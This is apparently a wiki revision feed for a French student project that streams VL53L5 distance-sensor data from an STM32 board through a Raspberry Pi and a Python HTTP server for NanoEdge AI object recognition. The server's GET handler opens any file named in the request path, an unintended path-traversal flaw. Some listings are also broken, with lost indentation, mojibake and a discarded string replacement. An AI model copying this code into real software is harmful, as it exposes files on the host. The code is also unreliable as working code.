    # Ces données sont vouées à ne pas être utilisées&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        # Créer un nouveau fichier pour chaque minute avec l'horodatage actuel&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        # Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Lire les données du port série&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        # Ouvrir le fichier de la minute actuelle et écrire les données&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            # S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            # Écrire les données dans le fichier&lt;br /&gt;
            fichier.write(string)&lt;br /&gt;
&lt;br /&gt;
# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)&lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
# Fonction principale&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    # Créer un objet pour la communication série&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
&lt;br /&gt;
    # Créer un thread pour la communication série&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    # Démarrer le thread de communication série&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    # Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
    # Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        # Vérifier si l'événement d'interruption est défini&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            # Attendre que le thread série se termine, puis sortir de la boucle&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        # Ajuster les valeurs de minute et d'heure pour l'heure précédente&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
&lt;br /&gt;
        # On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur&lt;br /&gt;
        # soit du bon format. On protège donc tout les \n du fichier avant son envoie.&lt;br /&gt;
        try:&lt;br /&gt;
            # Lire et modifier le contenu du fichier de la minute précédente&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de chemins de fichiers pour les 10 dernières minutes&lt;br /&gt;
        # Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        # Obtenir une liste de tous les fichiers dans le répertoire data&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de fichiers à supprimer&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        # Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        # Supprimer les fichiers de la liste de suppression&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
# Point d'entrée du script&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Résultats renvoyés par le programme de reconnaissance =&lt;br /&gt;
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3988</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3988"/>
		<updated>2024-01-20T13:55:56Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Code de récupération de donnée (sur la raspberry) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du programme python permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Code du client Python :'''&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Flash du capteur sur le logiciel STM32CubeIDE ==&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Code de récupération de donnée (sur la raspberry) ==&lt;br /&gt;
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
# Événement pour signaler l'arrêt des threads&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
# Fonction de thread pour lire les données et les sauvegarder dans des fichiers&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    # Chemin du fichier pour les données initiales du capteur&lt;br /&gt;
    # Ces données sont vouées à ne pas être utilisées&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        # Créer un nouveau fichier pour chaque minute avec l'horodatage actuel&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        # Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Lire les données du port série&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        # Ouvrir le fichier de la minute actuelle et écrire les données&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            # S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            # Écrire les données dans le fichier&lt;br /&gt;
            fichier.write(string)&lt;br /&gt;
&lt;br /&gt;
# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)&lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
# Fonction principale&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    # Créer un objet pour la communication série&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
&lt;br /&gt;
    # Créer un thread pour la communication série&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    # Démarrer le thread de communication série&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    # Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
    # Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        # Vérifier si l'événement d'interruption est défini&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            # Attendre que le thread série se termine, puis sortir de la boucle&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        # Ajuster les valeurs de minute et d'heure pour l'heure précédente&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
&lt;br /&gt;
        # On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur&lt;br /&gt;
        # soit du bon format. On protège donc tout les \n du fichier avant son envoie.&lt;br /&gt;
        try:&lt;br /&gt;
            # Lire et modifier le contenu du fichier de la minute précédente&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de chemins de fichiers pour les 10 dernières minutes&lt;br /&gt;
        # Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        # Obtenir une liste de tous les fichiers dans le répertoire data&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de fichiers à supprimer&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        # Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
